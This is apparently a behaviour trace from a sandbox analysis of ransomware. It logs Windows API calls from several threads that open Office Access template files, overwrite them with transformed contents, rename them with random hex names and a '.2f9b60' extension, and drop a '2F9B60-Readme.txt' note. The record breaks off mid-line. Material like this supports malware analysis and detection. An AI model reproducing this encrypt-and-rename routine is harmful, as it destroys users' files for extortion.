WriteFile (in: hFile=0x1b44, lpBuffer=0x1cf39250*, nNumberOfBytesToWrite=0x1141, lpNumberOfBytesWritten=0x2bbdfc74, lpOverlapped=0x0 | out: lpBuffer=0x1cf39250*, lpNumberOfBytesWritten=0x2bbdfc74*=0x1141, lpOverlapped=0x0) returned 1 [0133.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266f60 [0133.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266db0 [0133.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266db0) returned 1 [0133.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf39250) returned 1 [0133.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf35640) returned 1 [0133.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dcf0) returned 1 [0133.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd974e0) returned 1 [0133.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x20266db0 [0133.096] SetFilePointerEx (in: hFile=0x1b44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0133.096] WriteFile (in: hFile=0x1b44, lpBuffer=0x166ce0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x2bbdfd90, lpOverlapped=0x0 | out: lpBuffer=0x166ce0*, lpNumberOfBytesWritten=0x2bbdfd90*=0x10c, lpOverlapped=0x0) returned 1 [0133.111] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd970d0 [0133.111] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0133.111] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267080 [0133.111] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267080) returned 1 [0133.111] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x20267080 [0133.111] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267140 [0133.111] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202671d0 [0133.112] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202671d0) returned 1 [0133.112] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0133.112] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970d0) returned 1 [0133.112] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1cd9f270 [0133.112] sprintf (in: _Dest=0x1cd9f270, _Format="%c%c" | out: _Dest="c0") returned 2 [0133.112] sprintf (in: _Dest=0x1cd9f272, _Format="%c%c" | out: _Dest="1a") returned 2 [0133.112] sprintf (in: _Dest=0x1cd9f274, _Format="%c%c" | out: _Dest="90") returned 2 [0133.112] sprintf (in: _Dest=0x1cd9f276, _Format="%c%c" | out: _Dest="6a") returned 2 [0133.112] sprintf (in: _Dest=0x1cd9f278, _Format="%c%c" | out: _Dest="8c") returned 2 [0133.112] sprintf (in: _Dest=0x1cd9f27a, _Format="%c%c" | out: _Dest="61") returned 2 [0133.112] sprintf (in: _Dest=0x1cd9f27c, _Format="%c%c" | out: _Dest="72") returned 2 [0133.112] sprintf (in: _Dest=0x1cd9f27e, _Format="%c%c" | out: _Dest="25") returned 2 [0133.112] sprintf (in: _Dest=0x1cd9f280, _Format="%c%c" | out: _Dest="74") returned 2 [0133.112] sprintf (in: _Dest=0x1cd9f282, _Format="%c%c" | out: _Dest="44") returned 2 [0133.112] sprintf (in: _Dest=0x1cd9f284, _Format="%c%c" | out: _Dest="15") returned 2 [0133.112] sprintf (in: _Dest=0x1cd9f286, _Format="%c%c" | out: _Dest="0b") returned 2 [0133.113] sprintf (in: _Dest=0x1cd9f288, _Format="%c%c" | out: _Dest="fa") returned 2 [0133.113] sprintf (in: _Dest=0x1cd9f28a, _Format="%c%c" | out: _Dest="97") returned 2 [0133.113] sprintf (in: _Dest=0x1cd9f28c, _Format="%c%c" | out: _Dest="8f") returned 2 [0133.113] sprintf (in: _Dest=0x1cd9f28e, _Format="%c%c" | out: _Dest="39") returned 2 [0133.113] sprintf (in: _Dest=0x1cd9f290, _Format="%c%c" | out: _Dest="b7") returned 2 [0133.113] sprintf (in: _Dest=0x1cd9f292, _Format="%c%c" | out: _Dest="2e") returned 2 [0133.113] sprintf (in: _Dest=0x1cd9f294, _Format="%c%c" | out: _Dest="16") returned 2 [0133.113] sprintf (in: _Dest=0x1cd9f296, _Format="%c%c" | out: _Dest="b6") returned 2 [0133.113] sprintf (in: _Dest=0x1cd9f298, _Format="%c%c" | out: _Dest="0b") returned 2 [0133.113] sprintf (in: _Dest=0x1cd9f29a, _Format="%c%c" | out: _Dest="17") returned 2 [0133.113] sprintf (in: _Dest=0x1cd9f29c, _Format="%c%c" | out: _Dest="dd") returned 2 [0133.113] sprintf (in: _Dest=0x1cd9f29e, _Format="%c%c" | out: _Dest="62") returned 2 [0133.113] sprintf (in: _Dest=0x1cd9f2a0, _Format="%c%c" | out: _Dest="d2") returned 2 [0133.113] sprintf (in: _Dest=0x1cd9f2a2, _Format="%c%c" | out: _Dest="9b") returned 2 [0133.113] RtlInitAnsiString (in: DestinationString=0x2bbdfe08, SourceString="c01a906a8c6172257444150bfa978f39b72e16b60b17dd62d29b" | out: DestinationString="c01a906a8c6172257444150bfa978f39b72e16b60b17dd62d29b") [0133.113] RtlAnsiStringToUnicodeString (in: DestinationString=0x2bbdfdd8, SourceString="c01a906a8c6172257444150bfa978f39b72e16b60b17dd62d29b", AllocateDestinationString=1 | out: DestinationString="c01a906a8c6172257444150bfa978f39b72e16b60b17dd62d29b") returned 0x0 [0133.113] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b79d470 [0133.113] wcscat (in: _Dest=0x106c40, _Source="c01a906a8c617" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\c01a906a8c617") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\c01a906a8c617" [0133.113] wcscat (in: _Dest=0x106c40, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\c01a906a8c617.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\c01a906a8c617.2f9b60" [0133.113] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\c01a906a8c617.2f9b60", NtPathName=0x2bbdfdb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\c01a906a8c617.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0133.113] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x1b776770 [0133.116] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776770) returned 1 [0133.117] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48f90) returned 1 [0133.127] NtQueryInformationFile (in: FileHandle=0x1b44, IoStatusBlock=0x2bbdfe18, FileInformation=0x2bbdfe28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2bbdfe18, FileInformation=0x2bbdfe28) returned 0x0 [0133.127] NtSetInformationFile (FileHandle=0x1b44, IoStatusBlock=0x2bbdfe18, FileInformation=0x2bbdfe28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0133.129] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106c40) returned 1 [0133.129] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d470) returned 1 [0133.129] FlushFileBuffers (hFile=0x1b44) returned 1 [0138.529] CloseHandle (hObject=0x1b44) returned 1 [0138.601] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050d160 [0138.601] wcscpy (in: _Dest=0x2050d160, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\" [0138.601] wcscat (in: _Dest=0x2050d160, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\2F9B60-Readme.txt" [0138.601] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\2f9b60-readme.txt")) returned 0x20 [0139.230] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d160) returned 1 [0139.231] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202acc60) returned 1 Thread: id = 1866 os_tid = 0xea8 [0133.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Category.accft" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\category.accft")) returned 0x20 [0133.091] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Category.accft", dwFileAttributes=0x20) returned 1 [0133.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Category.accft" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\category.accft"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b48 [0133.092] GetFileSizeEx (in: hFile=0x1b48, lpFileSize=0x2bebf680 | out: lpFileSize=0x2bebf680*=4364) returned 1 [0133.093] SetFilePointerEx (in: hFile=0x1b48, liDistanceToMove=0x1108, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.093] ReadFile (in: hFile=0x1b48, lpBuffer=0x2bebf600, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2bebf648, lpOverlapped=0x0 | out: lpBuffer=0x2bebf600*, lpNumberOfBytesRead=0x2bebf648*=0x4, lpOverlapped=0x0) returned 1 [0133.097] SetFilePointerEx (in: hFile=0x1b48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267080 [0133.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267110 [0133.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267140 [0133.097] NtQuerySystemTime (in: CurrentTime=0x2bebf540 | out: CurrentTime=0x2bebf540*=132462177383326000) returned 0x0 [0133.097] RtlRandomEx (in: Seed=0x2bebf530 | out: Seed=0x2bebf530) returned 0x1886ab2d [0133.098] RtlRandomEx (in: Seed=0x2bebf530 | out: Seed=0x2bebf530) returned 0x85f5de2 [0133.098] RtlRandomEx (in: Seed=0x2bebf530 | out: Seed=0x2bebf530) returned 0x5b3aaae [0133.098] RtlRandomEx (in: Seed=0x2bebf530 | out: Seed=0x2bebf530) returned 0x7e6d7e0 [0133.098] RtlRandomEx (in: Seed=0x2bebf530 | out: Seed=0x2bebf530) returned 0x18c42d52 [0133.098] RtlRandomEx (in: Seed=0x2bebf530 | out: Seed=0x2bebf530) returned 0x446000e [0133.098] RtlRandomEx (in: Seed=0x2bebf530 | out: Seed=0x2bebf530) returned 0x40d083d0 [0133.098] RtlRandomEx (in: Seed=0x2bebf530 | out: Seed=0x2bebf530) returned 0xf61e4c0 [0133.098] RtlRandomEx (in: Seed=0x2bebf530 | out: Seed=0x2bebf530) returned 0x1cba3af4 [0133.098] RtlRandomEx (in: Seed=0x2bebf530 | out: Seed=0x2bebf530) returned 0x4e7ef2fb [0133.098] RtlRandomEx (in: Seed=0x2bebf530 | out: Seed=0x2bebf530) returned 0x5b0c7e69 [0133.098] RtlRandomEx (in: Seed=0x2bebf530 | out: Seed=0x2bebf530) returned 0x1ffb2fb8 [0133.098] RtlRandomEx (in: Seed=0x2bebf530 | out: Seed=0x2bebf530) returned 0x3dd2b69f [0133.098] RtlRandomEx (in: Seed=0x2bebf530 | out: Seed=0x2bebf530) returned 0x5e43865f [0133.098] RtlRandomEx (in: Seed=0x2bebf530 | out: Seed=0x2bebf530) returned 0xffd33fc [0133.098] RtlRandomEx (in: Seed=0x2bebf530 | out: Seed=0x2bebf530) returned 0x7dcc3160 [0133.098] RtlRandomEx (in: Seed=0x2bebf530 | out: Seed=0x2bebf530) returned 0x3bd001c6 [0133.098] RtlRandomEx (in: Seed=0x2bebf530 | out: Seed=0x2bebf530) returned 0x11e61249 [0133.098] RtlRandomEx (in: Seed=0x2bebf530 | out: Seed=0x2bebf530) returned 0x21a74c88 [0133.098] RtlRandomEx (in: Seed=0x2bebf530 | out: Seed=0x2bebf530) returned 0x3411592b [0133.098] RtlRandomEx (in: Seed=0x2bebf530 | out: Seed=0x2bebf530) returned 0x3c75cf14 [0133.098] RtlRandomEx (in: Seed=0x2bebf530 | out: Seed=0x2bebf530) returned 0x17af56d3 [0133.098] RtlRandomEx (in: Seed=0x2bebf530 | out: Seed=0x2bebf530) returned 0x3549bfc6 [0133.098] RtlRandomEx (in: Seed=0x2bebf530 | out: Seed=0x2bebf530) returned 0xdb2830d [0133.098] RtlRandomEx (in: Seed=0x2bebf530 | out: Seed=0x2bebf530) returned 0x10479085 [0133.098] RtlRandomEx (in: Seed=0x2bebf530 | out: Seed=0x2bebf530) returned 0x4ad73f93 [0133.098] RtlRandomEx (in: Seed=0x2bebf530 | out: Seed=0x2bebf530) returned 0x3e7f0c33 [0133.098] RtlRandomEx (in: Seed=0x2bebf530 | out: Seed=0x2bebf530) returned 0x2a61b884 [0133.098] RtlRandomEx (in: Seed=0x2bebf530 | out: Seed=0x2bebf530) returned 0x1e782cc8 [0133.098] RtlRandomEx (in: Seed=0x2bebf530 | out: Seed=0x2bebf530) returned 0x5b8cd9af [0133.099] RtlRandomEx (in: Seed=0x2bebf530 | out: Seed=0x2bebf530) returned 0x5165dde4 [0133.099] RtlRandomEx (in: Seed=0x2bebf530 | out: Seed=0x2bebf530) returned 0x27633401 [0133.109] ReadFile (in: hFile=0x1b48, lpBuffer=0x1cf35640, nNumberOfBytesToRead=0x110c, lpNumberOfBytesRead=0x2bebf530, lpOverlapped=0x0 | out: lpBuffer=0x1cf35640*, lpNumberOfBytesRead=0x2bebf530*=0x110c, lpOverlapped=0x0) returned 1 [0133.115] SetFilePointerEx (in: hFile=0x1b48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.115] WriteFile (in: hFile=0x1b48, lpBuffer=0x1cf39250*, nNumberOfBytesToWrite=0x110c, lpNumberOfBytesWritten=0x2bebf534, lpOverlapped=0x0 | out: lpBuffer=0x1cf39250*, lpNumberOfBytesWritten=0x2bebf534*=0x110c, lpOverlapped=0x0) returned 1 [0133.117] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266ff0 [0133.117] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266f30 [0133.117] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266f30) returned 1 [0133.117] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf39250) returned 1 [0133.117] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf35640) returned 1 [0133.117] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dcf0) returned 1 [0133.117] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd974e0) returned 1 [0133.117] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9f270 [0133.118] SetFilePointerEx (in: hFile=0x1b48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0133.118] WriteFile (in: hFile=0x1b48, lpBuffer=0x166ce0*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2bebf650, lpOverlapped=0x0 | out: lpBuffer=0x166ce0*, lpNumberOfBytesWritten=0x2bebf650*=0x10e, lpOverlapped=0x0) returned 1 [0133.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd974e0 [0133.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dcf0 [0133.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266de0 [0133.120] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266de0) returned 1 [0133.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x20266de0 [0133.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266f60 [0133.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266db0 [0133.120] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266db0) returned 1 [0133.121] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dcf0) returned 1 [0133.121] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd974e0) returned 1 [0133.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x1cd974e0 [0133.121] sprintf (in: _Dest=0x1cd974e0, _Format="%c%c" | out: _Dest="12") returned 2 [0133.121] sprintf (in: _Dest=0x1cd974e2, _Format="%c%c" | out: _Dest="fc") returned 2 [0133.121] sprintf (in: _Dest=0x1cd974e4, _Format="%c%c" | out: _Dest="a8") returned 2 [0133.121] sprintf (in: _Dest=0x1cd974e6, _Format="%c%c" | out: _Dest="20") returned 2 [0133.121] sprintf (in: _Dest=0x1cd974e8, _Format="%c%c" | out: _Dest="33") returned 2 [0133.121] sprintf (in: _Dest=0x1cd974ea, _Format="%c%c" | out: _Dest="b9") returned 2 [0133.121] sprintf (in: _Dest=0x1cd974ec, _Format="%c%c" | out: _Dest="76") returned 2 [0133.121] sprintf (in: _Dest=0x1cd974ee, _Format="%c%c" | out: _Dest="dd") returned 2 [0133.121] sprintf (in: _Dest=0x1cd974f0, _Format="%c%c" | out: _Dest="8c") returned 2 [0133.121] sprintf (in: _Dest=0x1cd974f2, _Format="%c%c" | out: _Dest="c4") returned 2 [0133.121] sprintf (in: _Dest=0x1cd974f4, _Format="%c%c" | out: _Dest="bf") returned 2 [0133.121] sprintf (in: _Dest=0x1cd974f6, _Format="%c%c" | out: _Dest="8a") returned 2 [0133.121] sprintf (in: _Dest=0x1cd974f8, _Format="%c%c" | out: _Dest="f5") returned 2 [0133.121] sprintf (in: _Dest=0x1cd974fa, _Format="%c%c" | out: _Dest="8d") returned 2 [0133.121] sprintf (in: _Dest=0x1cd974fc, _Format="%c%c" | out: _Dest="d9") returned 2 [0133.121] sprintf (in: _Dest=0x1cd974fe, _Format="%c%c" | out: _Dest="41") returned 2 [0133.121] sprintf (in: _Dest=0x1cd97500, _Format="%c%c" | out: _Dest="dd") returned 2 [0133.121] sprintf (in: _Dest=0x1cd97502, _Format="%c%c" | out: _Dest="99") returned 2 [0133.122] sprintf (in: _Dest=0x1cd97504, _Format="%c%c" | out: _Dest="e2") returned 2 [0133.122] sprintf (in: _Dest=0x1cd97506, _Format="%c%c" | out: _Dest="ef") returned 2 [0133.122] sprintf (in: _Dest=0x1cd97508, _Format="%c%c" | out: _Dest="e1") returned 2 [0133.122] sprintf (in: _Dest=0x1cd9750a, _Format="%c%c" | out: _Dest="f2") returned 2 [0133.122] sprintf (in: _Dest=0x1cd9750c, _Format="%c%c" | out: _Dest="3c") returned 2 [0133.122] sprintf (in: _Dest=0x1cd9750e, _Format="%c%c" | out: _Dest="44") returned 2 [0133.122] sprintf (in: _Dest=0x1cd97510, _Format="%c%c" | out: _Dest="bc") returned 2 [0133.122] sprintf (in: _Dest=0x1cd97512, _Format="%c%c" | out: _Dest="1f") returned 2 [0133.122] sprintf (in: _Dest=0x1cd97514, _Format="%c%c" | out: _Dest="f9") returned 2 [0133.122] sprintf (in: _Dest=0x1cd97516, _Format="%c%c" | out: _Dest="9b") returned 2 [0133.122] RtlInitAnsiString (in: DestinationString=0x2bebf6c8, SourceString="12fca82033b976dd8cc4bf8af58dd941dd99e2efe1f23c44bc1ff99b" | out: DestinationString="12fca82033b976dd8cc4bf8af58dd941dd99e2efe1f23c44bc1ff99b") [0133.122] RtlAnsiStringToUnicodeString (in: DestinationString=0x2bebf698, SourceString="12fca82033b976dd8cc4bf8af58dd941dd99e2efe1f23c44bc1ff99b", AllocateDestinationString=1 | out: DestinationString="12fca82033b976dd8cc4bf8af58dd941dd99e2efe1f23c44bc1ff99b") returned 0x0 [0133.122] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b79dff0 [0133.122] wcscat (in: _Dest=0x107780, _Source="12fca82033b976" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\12fca82033b976") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\12fca82033b976" [0133.122] wcscat (in: _Dest=0x107780, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\12fca82033b976.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\12fca82033b976.2f9b60" [0133.122] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\12fca82033b976.2f9b60", NtPathName=0x2bebf670, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\12fca82033b976.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0133.122] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xcc) returned 0x1b776770 [0133.124] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776770) returned 1 [0133.124] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42052740) returned 1 [0133.124] NtQueryInformationFile (in: FileHandle=0x1b48, IoStatusBlock=0x2bebf6d8, FileInformation=0x2bebf6e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2bebf6d8, FileInformation=0x2bebf6e8) returned 0x0 [0133.124] NtSetInformationFile (FileHandle=0x1b48, IoStatusBlock=0x2bebf6d8, FileInformation=0x2bebf6e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0133.126] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107780) returned 1 [0133.126] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0133.126] FlushFileBuffers (hFile=0x1b48) returned 1 [0138.529] CloseHandle (hObject=0x1b48) returned 1 [0138.599] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050c2f0 [0138.599] wcscpy (in: _Dest=0x2050c2f0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\" [0138.599] wcscat (in: _Dest=0x2050c2f0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\2F9B60-Readme.txt" [0138.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\2f9b60-readme.txt")) returned 0xffffffff [0138.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cd0 [0139.238] WriteFile (in: hFile=0x1cd0, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2bebf590, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2bebf590*=0xba9, lpOverlapped=0x0) returned 1 [0139.239] CloseHandle (hObject=0x1cd0) returned 1 [0139.240] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c2f0) returned 1 [0139.240] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b863010) returned 1 Thread: id = 1867 os_tid = 0x1004 [0133.130] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Name.accft" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\name.accft")) returned 0x20 [0133.132] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Name.accft", dwFileAttributes=0x20) returned 1 [0133.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Name.accft" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\name.accft"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b50 [0133.133] GetFileSizeEx (in: hFile=0x1b50, lpFileSize=0x2b5ffae0 | out: lpFileSize=0x2b5ffae0*=4404) returned 1 [0133.133] SetFilePointerEx (in: hFile=0x1b50, liDistanceToMove=0x1130, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.133] ReadFile (in: hFile=0x1b50, lpBuffer=0x2b5ffa60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2b5ffaa8, lpOverlapped=0x0 | out: lpBuffer=0x2b5ffa60*, lpNumberOfBytesRead=0x2b5ffaa8*=0x4, lpOverlapped=0x0) returned 1 [0133.135] SetFilePointerEx (in: hFile=0x1b50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202671a0 [0133.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267170 [0133.136] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267110 [0133.136] NtQuerySystemTime (in: CurrentTime=0x2b5ff9a0 | out: CurrentTime=0x2b5ff9a0*=132462177383794000) returned 0x0 [0133.136] RtlRandomEx (in: Seed=0x2b5ff990 | out: Seed=0x2b5ff990) returned 0x68fa7445 [0133.136] RtlRandomEx (in: Seed=0x2b5ff990 | out: Seed=0x2b5ff990) returned 0x36f8687a [0133.136] RtlRandomEx (in: Seed=0x2b5ff990 | out: Seed=0x2b5ff990) returned 0x372fdf31 [0133.136] RtlRandomEx (in: Seed=0x2b5ff990 | out: Seed=0x2b5ff990) returned 0x6d4173a8 [0133.136] RtlRandomEx (in: Seed=0x2b5ff990 | out: Seed=0x2b5ff990) returned 0x18b2d619 [0133.136] RtlRandomEx (in: Seed=0x2b5ff990 | out: Seed=0x2b5ff990) returned 0x391272aa [0133.136] RtlRandomEx (in: Seed=0x2b5ff990 | out: Seed=0x2b5ff990) returned 0x3e15c398 [0133.136] RtlRandomEx (in: Seed=0x2b5ff990 | out: Seed=0x2b5ff990) returned 0x7ae7da97 [0133.136] RtlRandomEx (in: Seed=0x2b5ff990 | out: Seed=0x2b5ff990) returned 0x7a6d4ee1 [0133.136] RtlRandomEx (in: Seed=0x2b5ff990 | out: Seed=0x2b5ff990) returned 0x282ea7e2 [0133.136] RtlRandomEx (in: Seed=0x2b5ff990 | out: Seed=0x2b5ff990) returned 0x3f765413 [0133.136] RtlRandomEx (in: Seed=0x2b5ff990 | out: Seed=0x2b5ff990) returned 0x191f1c55 [0133.136] RtlRandomEx (in: 